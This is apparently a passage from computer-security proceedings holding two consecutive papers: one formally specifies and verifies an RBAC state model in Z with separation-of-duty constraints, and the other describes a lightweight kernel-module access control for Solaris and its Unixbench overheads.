first state of system; secure state or consistent state is a state in which all se-
curity policies/constraints are satisfied; secure state-transition is a procedure by
which the system transits from one secure state to the next one. It is said that
a system is secure or consistent when its initial state and state-transition are
secure. Only proper configuration can assure the security of initial state. We
suppose that state transition of RBAC system begins from a secure initial state.
This state-based secure model is illustrated as Fig. 1. Here constraints usually
are transition rules or security policies, such as separation of duty. The state
can be transited to next state if and only if the operation satisfies some given
security policies.

Fig. 1. State-based Secure Model

3.2 Specification of RBAC State Model

We will use Z language to specify and describe the content of RBAC state and
state-transition functions. The basic elements in RBAC model are defined in the
form:

[USERS ,ROLES ,OPS ,OBJS ,SESSIONS ]

Permission is a combination of an operation and one or more objects. In
the operating system, the permission “read” may be right or privilege that a
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subject read one or more objects. The set of all possible permissions is denoted
by PERMS and defined as:

PERMS
op : OPS
obj : POBJS

Here obj is the set of objects with type OBJS . We define the elements and
relations in RBAC model as schema RBAC .

RBAC
Users : P USERS
Roles : P ROLES
Ops : P OPS
Objs : POBJS
Perms : PPERMS
Sessions : PSESSIONS
assigned roles : USERS → (P ROLES )
authorized roles : USERS → (P ROLES )
assigned perms : ROLES → (P PERMS )
assigned users : ROLES → (P USERS )
user sessions : USER → (P SESSIONS )
pmutex : PERMS → P PERMS
RSSoD : ROLES → PROLES
RDSoD : ROLES → PROLES
Cardinality : ROLES → N

dom assigned roles = Users⋃
(ran assigned roles) ⊆ Roles

dom authorized roles = Users⋃
(ran authorized roles) ⊆ Roles

dom assigned perms = Roles⋃
(ran assigned perms) ⊆ Perms

dom assigned users = Roles⋃
(ran assigned users) ⊆ Users

dom user sessions = Users⋃
(ranuser sessions) ⊆ Sessions

dom pmutex = Perms⋃
(ran pmutex ) = Perms

domRSSoD = Roles⋃
(ranRSSoD) = Roles

domRDSoD = Roles⋃
(ranRDSoD) = Roles

The top half of the RBAC schema box defines a number of variables defined
in RBAC state model with associated constraints from which the type infor-
mation can be derived. Here Users is a set of elements with type USERS and



202 C. Yuan et al.

assigned roles maps a user to a subset of setROLES . The predicates on sep-
arate lines in the second half of the schema above are used for type-checking
purposes. Therefore the domain and range of relations are clearly represented in
this schema. Note that we omit some elements being irrelative with our following
theorem proving, for example avail session perms .

In addition, we add four functions to express the constraints on operations.
Function pmutex (p) represents mutual exclusion of permissions. It returns the
permission set in which each permission conflicts with permission p. Function
RSSoD(r) and RDSoD(r) respectively return the role sets in which each role
has static dynamic Separation of Duty conflict relationship with role r . Func-
tion Cardinality(r) returns the maximum number of users being assigned to
role r .

In the ANSI RBAC model, command GrantPermission grants a role the per-
mission to perform an operation on an object to a role. It can be implemented
as granting permissions to a group corresponding to that role, i.e. setting the
access control list of the object involved. Its parameters are object, operation
and role. As permission is combination of operation and objects, we present a
substituting function AddNewPerm, whose parameters are role and permission.
By taking function AddNewPerm(r , p) as an example, the formal specification
and detailed theorem proof are given in detail.

3.3 Specification of Operation AddNewPerm(r , p)

This function adds new permission p into the authorized permission set of role
r . The constraint is that the authorized effective permissions of role r should
not conflict with permission p. This operation may change the permission set
authorized perms(r), which is the mapping of role r onto a set of permissions.

For clear specification, we hide the other invariants that are not involved in
this function. A new schema RBACExtend is defined as follows

RBACExtend
RBAC
authorized perms : ROLES → (P PERMS )

dom authorized perms = Roles⋃
(ran authorized perms) = Perms

We define one of the input parameters, i.e. role r , as a global invariant.

r : ROLES

The constraint on state-transition is representedby schema AssignPermsAllow ,
which claims that all the permissions in the set of authorized perms(r) should
not conflict with the new permission p. The following schema formally describes
this constraint.
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AddPermsAllow
ΔRBACExtend
p? : PERMS

p? ∈ Perms
∀ p : PERMS | p ∈ PERMS ∧ p ∈ authorized perms r

• p? /∈ pmutex p ∧ p /∈ pmutex p?

If the constraint is satisfied, the state-transition function will add p to
permission set authorized perms(r). This operation is represented by schema
AddNewPerm. Owing to the transition of state space, notation Δ is put in the
front of RBACExtend in this schema box to express its transform. Otherwise,
RBAC state will not transit, which is represented by schema PreservePerm.

AddNewPerm
ΔRBACExtend
p? : PERMS

θRBAC ′ = θRBAC
p? /∈ authorized perms r
authorized perms ′ r = authorized perms r ∪ {p?}

PreservePerm
ΞRBACExtend

To display the output result, an enumerate type REPORT is defined as fol-
lows. It has two values: OK indicates that the operation is allowed, DENIED
indicates that the operation is not allowed so that system state is preserved. The
output can only be one of these two values. They are expressed by schema Pass
and Deny respectively.

REPORT ::= OK | DENIED

Pass
rep! : REPORT

rep! = OK

Deny
rep! : REPORT

rep! = DENIED

The operation AddNewPerm can be done if and only if the request of adding
permission is allowed, i.e. constraint in schema AddPermsAllow is satisfied. In
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this situation, RBAC state will transit to next state in which the permissions
set authorized perms(r) is changed and outputs OK . Otherwise if the request is
denied, the state will preserve and outputs DENIED . So we define the operation
rule of adding permission p to role r as follows:

Rule AddPerm =̂ AddPermsAllow ∧ AddNewPerm ∧ Pass
∨ ¬ AddPermsAllow ∧ PreservePerm ∧ Deny

If function AddNewPerm(r , p) change system state, the security of post-
transition state is determined by the definition of secure state. According to
permission-assignment constraints defined in previous section, the secure state
requires that conflict relations should not exist among all the permissions autho-
rized to role r after adding permission p. The secure state condition is defined
as schema SecureRBAC .

SecureRBAC
RBACExtend

∀ perm1, perm2 : PERMS | perm1 	= perm2
∧ perm1 ∈ authorized perms r ∧ perm2 ∈ authorized perms r
• perm2 /∈ pmutex perm1 ∧ perm1 /∈ pmutex perm2

From the definition of constraint rule and secure state, the security theorem
can be defined as follows:

theorem AddPermsAllowed
Rule AddPerm ∧ SecureRBAC ⇒ SecureRBAC ′

This theorem claims that the transition of system state will always remain
secure if and only if the state-transition begins from a secure state and its op-
erations comply with the secure rule Rule AddPerm, i.e. the constraints are
satisfied. To prove this theorem, we introduce the theorem rule th2. (The nota-
tion of rule following theorem means that it can be referred when proving other
theorem.)

theorem rule th2
∀ x , y : PERMS ; A : P PERMS • x ∈ A ∪ {y} ∧ x 	= y ⇒ x ∈ A

Here, for any permission x , y and a permission set A, if x is in the set of A∪{y}
and x 	= y, it implies that x should be in the set A. It can be proved by one
step in Z/EVES, i.e. reduce. For theorem AddPermsAllowed its proof steps are
shown in Fig. 3(a).

In the following section, we discuss a more complex operation AddRSSoD ,
which manage the static separation of duty relation among roles. Unlike the
specification for AddNewPerm, it is specified in a concise schema which integrates
operation and constraint together.
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3.4 Specification of Operation AddRSSoD(r1, r2)

This function is another way to implement the command AddSsdRoleMember
in the ANSI RBAC model, which adds a role to a SSoD set of roles. Here the
SSoD set is implemented as mutual exclusion relation among roles. The function
AddRSSoD adds SSoD mutual exclusion relationship between role r1 and r2.
The operation requires that the SSoD relationship should exist between all roles
inherited from role r1 and role r2. In addition, the SSoD relationship should
exist between all roles inherited from role r2 and role r1.

We define the role hierarchy in a formal way firstly. The role hierarchy is
of partial order relationship upon role sets. If r1 inherits r2, permission set
authorized to r2 is a subset of authorized permission set of r1 and user set
assigned to r1 is a subset of assigned user set of r2. The role inheritance relation
is defined as follows.

syntax inherits inrel

inherits : P ROLES ↔ P ROLES

∀ r1, r2 : P ROLES • r1 inherits r2 ⇔
authorized perms r2 ⊆ authorized perms r1
∧ assigned users r1 ⊆ assigned users r2

The constraints of function AddRSSoD(r1, r2) also require that role r1 and
r2 does not belong to SSoD or DSoD and cannot be assigned to the same user.
After operation, role r1 and r2 add each other to their mutual exclusion sets.
The following schema formally describes this function. The last line in the second
part of the schema box describes the operations of the function. Other lines in
the second part of the schema box are the constraints of operations.

AddRSSoD
ΔRBACExtend
r1? : ROLES
r2? : ROLES

r1? 	= r2?
¬ (r2? ∈ RSSoD r1? ∧ r2? ∈ RDSoD r1?)
∀ r : ROLES • {r} inherits {r1?} ⇒ r1 /∈ RSSoD r2?
∀ r : ROLES • {r} inherits {r2?} ⇒ r1 /∈ RSSoD r1?
∀ u : USERS • r1? /∈ authorized roles u ∧ r2? /∈ authorized roles u
RSSoD ′ r1? = {r2?} ∪ RSSoD r1? ∧ RSSoD ′ r2? = {r1?} ∪ RSSoD r2?

RBAC model includes other functions as defined in the set OPS . Referring
to the function AddNewPerm, these functions can also be specified formally.
They will not be discussed further due to the length limit of this paper. Ac-
cording to our formal specification of RBAC model, the range and domain of
functions, their operations, and constraints are explicitly given. This formaliza-
tion approach ensures that requirements of system are given precisely. It is very
clear for mapping requirements to implementation.
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4 Case Study: Consistency Verification

As an example, we will show how to apply formal specification of RBAC model
and functions to construct constraint rules and security theorems for a practical
system. Based upon separation of duty policy, theorem proving is used to verify
the consistency in RBAC model, i.e. the security of state before and after state
transition.

In Fig. 2, user u1 have been assigned roles r , r2 and activates sessions
s1, s2. The role r and r2 have assigned permissions p1 and p5 respectively,
i.e. assigned perms(r) = {p1}, assigned perms(r2) = {p5}. Role r inherits
permission p2 from role r1. Therefore, authorized permission set of role r is
authorized perms(r) = {p1, p2}. The authorized permission set of role r2 is
authorized perms(r2) = assigned perms(r2) = {p5}. The user u2 have been
assigned role r3 and activates session s3. The authorized permission of role r3
is p4.

Fig. 2. Current State of a RBAC system

There are some conflict relations in Fig. 2. They are: DSoD relation between r
and r2, SSoD relation between r2 and r3, permission mutual exclusion between
p1 and p3, p1 and p5, i.e. pmutex (p1) = {p3, p5}, between p2 and p4, i.e.
pmutex (p2) = {p4}. Different kinds of arrows on lines represent different conflict
relations among the objects. The dashed lines indicate that the constraints will
be violated if the assignment or activity operations are executed. For example, if
role r has been assigned to p1, permission p3 cannot be assigned to r because p3
conflicts with p1. If the assignment is allowed, the permission mutual exclusion
relation between p3 and p1 will be violated.

Now we concentrate on how to use the formal RBAC model and specification
of functions defined in former sections to verifying the consistency of model
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by detecting conflict relation in this graph. As an example, we try to detect
permission conflict when assigning new permission p3 to role r .

Firstly, the specification for current system state is given, i.e. the assign-
ment and conflict relations among permissions in Fig. 2 are instantiated. Here
we instantiate the invariants and sets related to the operations of function
AddNewPerm(r , p3). The schema Instantiate describes the current system state
and is defined as follows

Instantiate
RBACExtend
p1, p2, p3, p4, p5 : PERMS

PERMS = {p1, p2, p3, p4, p5}
pmutex p1 = {p3, p5}
pmutex p2 = {p4}
dom pmutex = {p1, p2, p3, p4, p5}
authorized perms r = {p1, p2}

Secondly, we prove that this schema satisfy the constraints in SecureRBAC ,
i.e. the current state is secure and following theorem should be true. Proof of
InstantiateIsSecure is shown in Fig. 3(b).

theorem rule InstantiateIsSecure
Instantiate ⇒ SecureRBAC

When assigning new permission p3 to role r , the following theorem assures
that this operation will satisfy the constraints defined in the rule Rule AddPerm.

theorem rule InstantiateTransIsSecure
Instantiate ∧ Rule AddPerm ∧ p? = p3 ⇒ SecureRBAC

The above theorem can be proved with the theorem rule InstantiateIsSecure.
It is concluded that state-transition triggered by AddNewPerm(r , p3) can satisfy
the state invariants and conflict constraint when state transition begins from a
secure state. Therefore, this state transition is secure. To show whether permis-
sion p3 is allowed to add into the permission sets of role r , we give the following
theorem:

theorem rule notqualiq3
Instantiate ∧ p? = p3 ⇒ ¬ AddPermsAllow

The theorem is proved to be true, as shown in 3(c). It demonstrates that p3
is not allowed to add into the permission set of role r . To illustrate this situation
more clearly, following theorem is introduced.

theorem InstantiateTransp3IsDeny
Instantiate ∧ Rule AddPerm ∧ p? = p3 ⇒ Deny
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The theorem is also true, as shown in 3(d). It manifests that if p3 is assigned
to r , the constraint of permission mutual exclusion will be violated and RBAC
state will be inconsistent. According to the above formal specification, construc-
tion of constraint rules and theorem proving, it has been illustrated that the
permissions with mutual exclusion relation cannot be assigned to the same role.
The same approach can also be applied to verify the consistency of model with
conflict relation among roles.

Fig. 3. Proof of Constructed Theorems

5 Related Work and Discussion

Now there are mainly two categories for formal verification tools: model check-
ing and theory proving[2]. Model checking mainly depends on constructing the
finite state model of system and verifying the desired property of the model.
The verification of model checking is automatic and speedy. By using Petri-net
reachability analysis technique, [5] propose colored Petri-net based framework for
verifying the consistency of RBAC policies. ALLOY, a modeling system with au-
tomatic semantic analysis capability, is employed to verify internal consistency of
RBAC schema[6]. However model checking has the unconquerable shortcoming
of combinatory exploding. It is not suitable for complicated state transformation
systems such as secure operating systems[11].
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Theorem proving system includes a set of axioms and a set of induction rules,
the verification process is to prove given property of system start from system
axioms using the induction rules. Theorem proving methods can describe and
verify systems with infinite states. GVE(Gypsy Verification Environment)[16], as
one of most influential theorem proving tools, is not adaptable. With some tiny
changes in specification, the proof procedure should be rewrite from beginning.
And it is not suitable for divide and conquer prove for large problem space [17].
Z language, based on set theory and first order predicate logic, is especially
suitable to model state-based systems [12]. Specification with Z language give
clearly and concise description for stat-based system. With many nice features
in theorem proving, Z/EVES provides a generic theorem prover typically used
in an interactive fashion[14]. [7] specifies a stat-based flat RBAC model with Z
language without constraints on state-transition functions, such as separation
of duty. It also does not explain how to construct security rule and theorem to
prove the consistency of model. Another formal tool, Isabelle/HOL is a good
candidate for formalizing complex systems. [8] presents an example of a RBAC
security policy having the dual control property and proved it in first-order linear
temporal logic(LTL) in the theorem prover Isabelle/HOL. Our specifications and
proving procedure can also be integrated into Isablelle/HOL-Z[18]. Specification
in Z language is more clear and understandable than in Isablelle.

[9] presents an intuitive formalization description for RBAC using graphical
specification technique. In this graphical method, consistency of graph transfor-
mation algorithms should be proved firstly. And it is hard to map requirements
of operation functions in RBAC model to their implementation. [10] propose a
formalization of RBAC by the description logic language ALCQ, which can rea-
son about a specified policy and verify its correctness. However, domain, range
and consistency conditions on the RBAC functions cannot be expressed by this
logic language. [4] only provides function-level specification using a subset of the
Z notation to describe the requirements of RBAC. Our paper presents a formal
RBAC model, which integrates the constraints of separation of duty with func-
tion operations. Secure rules (or constraints) and theorems are constructed and
proved. Our formal specifications provide a precise document for guiding imple-
mentation. It provides a reliable way to develop safety-critical RBAC system.

6 Conclusion and Future Work

We give emphasis on the process of writing formal specification and verifying the
security properties of RBAC model. A state-based verifiable formal RBAC model
is presented and specified in this paper. State-transition functions and their
constraints are defined in Z language. Some well-constructed security theorems
are proved, which guarantee the system always remains in secure state. The
formal specification of functions gives us the reliable assurance to develop a
complex RBAC system. The work in this paper provides a formal approach
to specifying and verifying RBAC model. It is also provide a start point to
verify the consistency of RBAC system. In our future work, other functions and
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properties in RBAC model will be specified and proved. For example, delegation
and revocation of role will be supported in our model. Besides constraints of
separation of duty, the temporal constraints should be considered in our work.
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Abstract. The importance of security-enhancing mechanisms at the kernel 
level, such as an access control, has been increasingly emphasized as the weak-
nesses and limitation of mechanisms at the user level have been revealed. 
Among many access controls available, role based access control (RBAC) is 
mandatory and supports the separation of duty when compared to discretionary 
access control (DAC). With these advantages, RBAC has been widely imple-
mented at various levels of computing environments, such as the operating  
system and database management system levels. However, the overheads for 
supporting all of the RBAC features and flexibility are significant. We designed 
a fast, simple, and mandatory access control model with some RBAC and DAC 
characteristics, then implemented a prototype and measured its overheads.  

Keywords: Access control, DAC, RBAC, Flask, SELinux. 

1   Introduction 

Many security breaches have occurred since the development of computer systems. In 
addition, as more systems have recently been connected, they have been exposed to a 
greater number of dangers. To avoid these threats, technologies such as firewalls, 
intrusion detection systems (IDS), and audit trails have flourished. However, these 
technologies have their own limitation. For instance, a firewall can’t protect a system 
against an internal intruder. An audit trail can’t prevent an intrusion, but can only help 
to subsequently trace an intruder by leaving messages. Commonly, all of these user-
level security mechanisms can’t protect themselves from being killed by attackers 
who already gained an administrator privilege because they all operate at the user 
level. In summary, the mechanisms only at the user level are too insufficient to pro-
tect a system and its important data. 

These problems have many researchers and vendors place a focus on security 
through underlying mechanisms such as access controls. Among the access controls 
available, discretionary access control (DAC) [1] determines the access to an object 
according to the permissions given by its owner and the identity of a subject. Despite 
its current widespread use, DAC has the disadvantage that the object can be accessed 
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without limitations if the identity of an administrator is gained by an intruder, because 
it classifies users only into completely trusted administrators and completely un-
trusted ordinary users. In short, its coarse-grained privilege leads to the problem that 
malicious programs can obtain complete system resources. 

To overcome these problems, role based access control (RBAC) [2][3] has 
emerged as an alternative. RBAC minimizes an intruder's opportunity to gain limitless 
power by giving users the least privileges to perform their own duties. Even if an 
intruder gains a user's identity, the intruder only has the least privilege. For example, 
even if an intruder gains administrator privilege, the intruder can only have limited 
privileges related to administrative tasks, because even the administrator has the least 
privileges needed to perform administrative duty. As a result of these advantages, 
RBAC has been developed on many levels, such as at operating system [4][5][6][7] 
and database management system levels [8]. 

However, the overheads to support all of the RBAC features and flexibility are sig-
nificant when implemented at the operating system level that requires fast processing, 
especially real time systems, or that have limited resources, especially embedded 
systems. Our goals were not to support all of RBAC features and maintain flexibility, 
but to achieve compactness, speed, simplicity of implementation, mandatory control, 
and the separation of duties without any need to change a kernel. These goals were 
finally achieved. 

This paper is organized as follows. Section 2 describes related works such as DAC, 
RBAC, and SELinux. Section 3 describes our model, and its implementation. Section 
4 shows security policies to enhance its understandability. Section 5 presents its over-
heads, and Section 6 concludes all. 

2   Related Works 

2.1   Discretionary Access Control (DAC) 

DAC is an access control via which access is determined by considering both the 
permission predetermined by an object owner and the identity of a subject trying to 
access the object, and defines an access control list (ACL) [9] between a subject and 
an object. It is discretionary in that the ACL can be modified by the object owner. 
Both reading and writing an object are granted or prohibited by the ACL previously 
set by the object owner. 

DAC has the disadvantages that it is entirely based on the identity of a subject 
when determining access legality and supports only coarse privilege. Therefore, if the 
identity of a subject is gained by an intruder, then all of the objects that can be ac-
cessed by the subject are entirely exposed to the intruder, who can also change the 
permission of all objects owned by the subject. 

2.2   Role-Based Access Control (RBAC) 

RBAC supports mandatory control, and dense privilege. RBAC has elements such as 
users, roles, objects, sessions, and operations as shown in Fig. 1. 
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Fig. 1. Basic RBAC model [3][10] 

A user represents the person who uses the system. A role has sets of both opera-
tions and objects determined by a security administrator, and is given to users. A ses-
sion represents connection to a system with some of the roles activated during the 
session. 

The cardinality between users and roles is many-to-many. In other words, a user 
can have many roles, and a role can be assigned to many users. The same principle is 
also applied to the cardinality between roles and sessions, as well as between opera-
tions and objects. A session can have many activated roles, and inversely a role can 
also be activated during many sessions. More than one operation can be applied to 
more than one object. The permutation of operations and objects can be thought of as 
a parameter assigned to roles. A role can have many parameters. A parameter can be 
assigned to many roles. However, the cardinality between users and sessions is one-
to-many. In other words, although a user can have many sessions, a session can be  
involved with only one user. The basic RBAC cardinality above is summarized as  
follows [3]. 

● USERS, ROLES, OPS, SESSIONS, and OBS represent users, roles, operations, 
sessions, and objects, respectively. 

● UA ⊆ USERS × ROLES, a many-to-many mapping user-to-role assignment rela-
tion. 

● PA ⊆ PRMS × ROLES, a many-to-many mapping permission-to-role assignment 
relation. 

● CS ⊆ SESSIONS, a one-to-many mapping user-to-session assignment relation. 
● RA ⊆ ROLES × SESSIONS, a many-to-many mapping role-to-session assign-

ment relation. 
● OA ⊆ OPS × OBS, a many-to-many mapping operation-to-object assignment re-

lation. 
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Besides this basic model, RBAC supports role inheritance to relieve the burden of 
the security administrator. Role inheritance supports a role to be created by inheriting 
another role. In this case, the derived role has the same sets of operations to objects as 
those of the base role. A full RBAC also supports the static and dynamic separation of 
duties to give a user the least privilege required to perform the user's own task through 
the facilities of role constraints. As examples of role constraints, a mutually exclusive 
role constraint guarantees only one of the roles to be activated, a prerequisite role 
constraint guarantees prerequisite roles to be activated, and a cardinality role  
constraint guarantees the limited number of roles to be activated [2][3][10][11]. 

2.3   Flask Architecture and SELinux 

The National Security Agency (NSA) and Secure Computing Corporation (SCC) 
developed SELinux (security-enhanced Linux) [4] that implemented a Flask architec-
ture [12], the goal of which was to support both flexible and transparent architecture 
for a variety of access controls. This goal was achieved by separating a security server 
from an object manager as shown in Fig. 2. 

 

Fig. 2. The Flask architecture [12] 

If a client wants to access the object that is managed by the object manager, the  
client first makes a request to the object manager. The object manager determines 
whether the access is legal or not after querying to the security server that determines 
the legality according to security policies such as identity based access control 
(IBAC), RBAC, and type enforcement (TE). Because the security server can be  
replaced by another server with a different policy, SELinux can support all security 
policies as far as the security server is implemented following pre-determined  
interfaces. 
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The Flask architecture separates policy enforcement logic from security policy 
logic by distinguishing the security server from the object manager. The object man-
ager manages objects that clients want to access. The security server is where the 
legality of an access request is determined according to the policies. 

Although the Flask architecture was referenced during the early stage of an access 
control, the Flask architecture was excluded because it had additional overheads re-
lated with communication cost between an object manager and a security server. This 
overhead issues will be discussed more detail in the subsection 3.2. 

3   Model and Implementation 

This section describes the model and the implementation for a fast, simple, manda-
tory, and fixed access control with RBAC and DAC characteristics without kernel 
changes. 

3.1   Model 

Fig. 3 shows the access control model that was designed to minimize overheads. 

 

Fig. 3. Access control model 

This model has the elements such as subjects, permission, operations, and objects. 
A subject can be a user, a user group, or a process. A subject is similar to a user of the 
RBAC model in that the subject is the actor of object access, but different from the 
user of the RBAC model in that the subject can be a user group, and a process besides 
a user. Permission is similar to the role of the RBAC model in that the permission has 
a name. Permission has types, operations, and is assigned to subjects and objects. An 
object can be a directory, or a file. This model has many-to-many relationships be-
tween permission and objects, and between permission and subjects, but one-to-many 
relationship between permission and operations. In other words, permission can have 
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many subjects, and a subject can have much permission. Permission can have many 
objects, and an object can have much permission. As an example of this model, if 
permission has a read operation, is applied to /a, and /b objects, and root and test us-
ers, then only root and test users can read /a, and /b files. Fig. 4 shows the types and 
operations that permission supports. 

 

Fig. 4. Types and operations of the access control 

Types are the inheritance or the subject properties of the permission that will be 
created, and operations are checked actions. There exist types such as INHERITANCE, 
ALL, OWNER, and OWNER GROUP. INHERITANCE type means that the subjects 
and operations to the applied directory are inherited by all of the descendent directories 
and files. Even if new permission is applied to the descendant directory, the 
INHERITANCE type permission affects together with the new permission. No 
INHERITANCE type permission means that the permission affects the descendants as 
far as the other permission isn’t applied. If an ascendant directory has permission 
without INHERITANCE type and a descendant directory has new permission, the 
descendant directory is affected only by the new permission. If two or more permission 
conflict each other, the OR is applied. In other words, if permission includes a read 
operation and another permission doesn't include a read operation, the read operation is 
granted by OR. ALL, OWNER, and OWNER GROUP types represent respectively that 
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all users, owner, and owner group are the subjects. All of the operations mean that 
subjects can do the operations to applied objects as shown in Fig. 4. 

The standard RBAC model was firstly considered, but it was simplified and modi-
fied in order to minimize its implementation difficulties and its overheads caused by 
its complexity. A session, a role hierarchy, and role constraints were removed in this 
model also for simplicity and speed. A session and role constraints weren't essential 
because we assumed that all users had the same sets of roles during the constant  
period. The assumption removed the activation of different roles according to the 
sessions. The assumption also removed the necessities of the role constraints, and a 
session because a user didn't have to have different roles according to sessions. Al-
though the model was simplified, a user was extended to a subject that could be a 
user, a user group, and a process in order to enable various management. This model 
is similar to the DAC model in that a user has operations to objects, but different from 
the DAC model in that this model does not maintain the ACL, has named permission, 
and is mandatory. 

This model has the inconvenience that new permission cannot be created by inher-
iting permission. Besides this inconvenience of a role creation, a security administra-
tor may have to often modify permission because this model doesn't support the role 
activation according to sessions. The security administrator may have to create much 
permission to express a single role of the standard RBAC model because this model 
doesn't have a parameter with operations and objects in the RBAC model. 

From the viewpoint of security, this model is mandatory because only the security 
administrator can set the policies. Even object owner can’t change its granted opera-
tions without the permission by a security administrator. This model can support the 
least privilege through multiple permission assignments to a subject, and an object 
although the number of permission may be more than that of roles in the standard 
RBAC model. 

3.2   Implementation 

The implementation of the access control model is largely divided into five modules: 
a system call control module, an authentication module, a permission management 
module, an audit module, and an access control module as shown in Fig. 5. 

 

Fig. 5. Architecture of the access control  
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The system call control module stores, hooks, and restores old system calls. In ad-
dition, it provides new system calls that assemble all of the other modules. The per-
mission management module adds and deletes permission, modifies the operations of 
permission, applies objects to permission, and assigns permission to subjects. The 
authentication module manages authentication information. The audit module records 
all accesses of users. The access control module determines the legality of an access. 

In contrast to the double call architecture of SELinux implementation in subsection 
2.3, we adopted this direct call architecture in order to minimize the overheads that 
were caused by flexibility. The implementation consisted of a file without the sepa-
rated security server, and had the fixed model. Most of RBAC implementations con-
centrated not on compactness and speed, but on flexibility to support various policies. 
SELinux was a representative example. The overheads of SELinux [5] were more 
than about 5% in the Unixbench [13] case [5], about 10% in the Lmbench [14] case 
[5], and about 4% in the kernel compilation case [5]. In this double call architecture, 
whenever a client wanted to access an object, the client made a request to an object 
manager, which in turn made a request to the security server to determine the legality 
of the access. Although an object manager maintained the AVC [12] to minimize 
these overheads in this architecture, AVC was insufficient to cover all of these  
overheads. 

System call control module. The functions of the system call control module are the 
storage of old system calls, the registration of new system calls replacing old ones 
during the initialization, the invocation of all other modules during the operation, and 
the restoration of old system calls during the finalization. When the access control is 
loaded into a Solaris kernel, the _init() entry point is called [15], and the system call 
control module stores old system calls and installs new ones. Then, when an applica-
tion makes a request to the system through system calls, new system calls are in-
voked. The new system calls first call the operations-checking function in the access 
control module with appropriate parameters. This operations-checking function 
checks which the subject has the appropriate operations to the accessed objects or not. 
If so, the new system calls simply invoke old system calls. Otherwise, they return an 
error. In short, the system call control module plays a role of invoking the functions of 
the other modules, and preventing an unauthorized user from accessing objects by 
circumventing the implementation. 

Access control module. The access control module has an operation-checking func-
tion. This function is called whenever hooked system calls are called and operations 
need to be checked. The operation-checking function first checks whether the object 
itself has the permission that allows the calling user, user group, or process to access 
the object. If there is an operation to process the request, the function returns a suc-
cess. Then the hooked system call calls the old system call. After checking its own 
permission, this function checks hierarchically the parent's permission. 

The process for checking permission can be summarized as two procedures. First, 
the module searches permission lists maintained by the permission management mod-
ule. Second, it checks whether the permission includes operation to access the object, 
and the object itself. If so, the function determines whether the calling subject is in-
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cluded in the specific permission. If included, the function returns a success and the 
access is granted. 

Authentication module, Permission management module, and audit module. The 
authentication module receives authentication information from the PAM [16]. Then 
the authentication module maintains and manages the authentication information for 
each process, and uses this information to determine the legality of an access request. 
This authentication information includes a process identity, a user identity, and a 
group identity. Authentication information is created in two cases. The first case is 
when a user logs into a system after inputting a user identity and password. The sec-
ond case is when a child process is created through a fork() system call. Authentica-
tion information is also modified in two cases. The first case is when a user changes 
his or her own user identity through a setuid() system call, and the second case is 
when a user executes a new process by calling an exec() system call. The authentica-
tion information is destroyed when a process exits or is destroyed. 

The permission management module manages the operations of permission, ap-
plies permission to objects, and manages user assignment to permission. This module 
is called when a permission property changes or access control module checks 
whether a subject has operations to access the object or not. 

The audit module maintains all of the access records, including both failure and 
success logs, and sends them to the server daemon that will be described so that it can 
write access records to files. When a user fails or succeeds in accessing an object, 
adequate structures are written in the kernel memory, and the server daemon reads 
them through the log system call that is added, and writes them to log files. The server 
daemon should always be run to protect the kernel memory from being overflowed. 

Server daemon, and administration tool. For easy administration, we wanted to 
develop an administration tool on Windows. However, because the access control 
operated at the kernel that had a difficulty in directly communicating with an 
administration tool, an additional server daemon needed to be developed in order to 
communicate with an administration tool. The server daemon receives a request from 
the administration tool and then makes a request to the access control through a 
system call. Another role of the server daemon is to periodically call the audit module 
via a new system call to obtain success or failure logs in the kernel memory, and to 
write them to files. 

An administration tool on Windows XP was developed with Visual C++ 6.0. The 
administration tool received inputs from a user to create permission, change its 
operations, apply it to objects, and assign it to a user, a user group, or a process. In all 
of these cases, the administration tool sent adequate messages to the server daemon, 
which in turn made a request to the access control. The administration tool used an 
encrypted channel to communicate with the server daemon. 

Module protection. Since we implemented the access control as a dynamically 
loadable kernel module (DLKM), and an application to avoid kernel changes, the 
implementation could be unloaded. However, operation to unload the access control 
should be prohibited to unauthorized users. Thus, the access control protected itself 
by hooking an unload system call and creating an unload permission. Only subjects 
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included in the permission could unload the developed access control. The server 
daemon itself should also be protected from being killed by unauthorized users. Thus, 
the server daemon also protected itself by hooking the kill system call and using the 
application-killing operation to the daemon object. 

4   Security Policy Configurations 

This section describes the basic security policies in order to increase the understand-
ability to the developed access control and in order to provide a working system. 

Fig. 6 shows the created permission for the normally operating Solaris 2.8 system. 

 

Fig. 6. Basic security policies of the access control 

ALL permission allows any users to freely access objects. It has the ALL permis-
sion type, all operations described in Fig. 5 except for MODLOAD, MODUNLOAD, 
SETUID, and ROLE. It is applied to both / and /usr/dt/appconfig directories. Accord-
ing to this permission, all users can do the permitted operations to all of the descendant 
objects except for MODLOAD, MODUNLOAD, SETUID, and ROLE as far as the 
descendant objects have no other policies because the permission is applied to the / 
directory and isn't INHERITANCE type. P_SETUID permission allows only the lim-
ited objects to change a user ID. It has ALL permission type as well as CHDIR, EXEC, 
READ, and SETUID operations. It is applied to many setuid programs under the direc-
tories such as /usr/bin, /usr/lib, /usr/dt/bin, and /usr/sbin. By this permission, only these 
programs are allowed to call the setuid system call and change their user IDs. The 
other permission is described in Fig. 6, and the subjects, operations, and objects are set 
in the same way. 
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5   Performance 

Our implementation provided a system with more powerful security than a general 
system. However, because we implemented it as a DLKM and added additional privi-
lege-checking functions, the system unavoidably has additional overheads. We pre-
sent the overheads in this section. 

As measurement tools, we used Unixbench 4.1.0 [13] and Lmbench 2.0.4 [14]. 
These measure the performance of system operations at various low levels. 

5.1   Unixbench 

In Unixbench, dhrystone 2 performs non-floating point operations usually found in 
user programs. Whetstone executes double-precision floating point operations. Sys-
tem call overhead performs a fixed number of system calls. Pipe throughput measures 
the communication ability through a pipe between processes. Pipe-based context 
switching performance shows the communication ability between a parent and a 
child. Process creation counts the number of child processes that can be forked. Execl 
throughput replaces a process with a new one. File copy measures the number of 
characters that can be copied into a file with various buffer sizes within a given time. 
Lastly, shell scripts execute a shell script using eight concurrently running processes. 
The results by Unixbench are shown in Table 1. 

Table 1. The Unixbench results 

A system with the developed 
model 

A system without the devel-
oped model 

 
Lps, MWIPS, 

KBps, lpm 
Index 

Lps, MWIPS, 
KBps, lpm 

Index 

Overhead 
(%) 

Dhrystone 2  856579.8 73.4 857046 73.4 0.05 

Whetstone 226.8 41.2 227.2 41.3 0.18 

System Call 
Overhead 

108652.6 72.4 109730.9 73.2 0.98 

Pipe Throu 67071.8 53.9 67340.4 54.1 0.40 

Pipe-based Con-
text Switching 

29312.5 73.3 29569.1 73.9 0.88 

Process Creation 528.7 42 556.7 44.2 0.95 

Execl Throu 239.7 55.7 261.7 60.9 1.67 

File Copy  
256 bufsize  
